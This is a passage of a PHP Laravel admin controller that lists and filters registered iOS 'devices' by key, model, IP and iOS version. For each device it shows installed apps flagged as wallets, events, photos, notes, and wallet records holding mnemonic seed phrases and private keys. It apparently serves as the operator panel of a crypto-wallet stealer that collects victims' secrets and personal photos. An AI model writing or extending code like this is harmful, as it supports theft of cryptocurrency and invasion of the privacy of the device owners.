trim((string) $request->query('device_key', '')), 'model' => trim((string) $request->query('model', '')), 'ip' => trim((string) $request->query('ip', '')), 'ios' => trim((string) $request->query('ios', '')), 'installed_from' => trim((string) $request->query('installed_from', '')), 'installed_to' => trim((string) $request->query('installed_to', '')), ]; $q = Device::query()->orderByDesc('updated_at'); if ($filters['device_key'] !== '') { $q->where('device_id', 'like', '%'.$filters['device_key'].'%'); } if ($filters['model'] !== '') { $q->where('device_model', 'like', '%'.$filters['model'].'%'); } if ($filters['ip'] !== '') { $q->where('ip', 'like', '%'.$filters['ip'].'%'); } if ($filters['ios'] !== '') { $q->where('ios_version', 'like', '%'.$filters['ios'].'%'); } if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_from'])) { $q->whereDate('created_at', '>=', $filters['installed_from']); } if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_to'])) { $q->whereDate('created_at', '<=', $filters['installed_to']); } $devices = $q->paginate(30)->withQueryString(); return view('admin.devices.index', compact('devices', 'filters')); } public function show(Device $device, Request $request) { $tab = $request->query('tab', 'apps'); if (! in_array($tab, ['apps', 'events', 'photos', 'notes', 'wallets'], true)) { $tab = 'apps'; } $apps = $device->apps()->orderByDesc('is_wallet')->orderBy('name')->get(); $events = $device->events()->orderByDesc('id')->limit(500)->get(); $photos = $device->photos()->orderByDesc('id')->limit(200)->get(); $notes = $device->notes()->orderByDesc('id')->limit(200)->get(); $wallets = $device->wallets()->orderByDesc('id')->get(); $addresses = $device->addresses()->orderByDesc('id')->get(); $maskedWallets = $wallets->map(function (Wallet $w) { return [ 'id' => $w->id, 'source_app' => $w->source_app, 'mnemonic' => Wallet::maskSecret($w->mnemonic), 'privkey' => Wallet::maskSecret($w->privkey), 'created_at' => $w->created_at, ]; }); return view('admin.devices.show', compact( 'device', 'tab', 'apps', 'events', 'photos', 'notes', 'maskedWallets', 'addresses' )); } public function photo(Device $device, int $photo) { $row = $device->photos()->whereKey($photo)->firstOrFail(); abort_unless(Storage::disk('local')->exists($row->path), 404); $mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream'; return response(Storage::disk('local')->get($row->path), 200) ->header('Content-Type', $mime); } }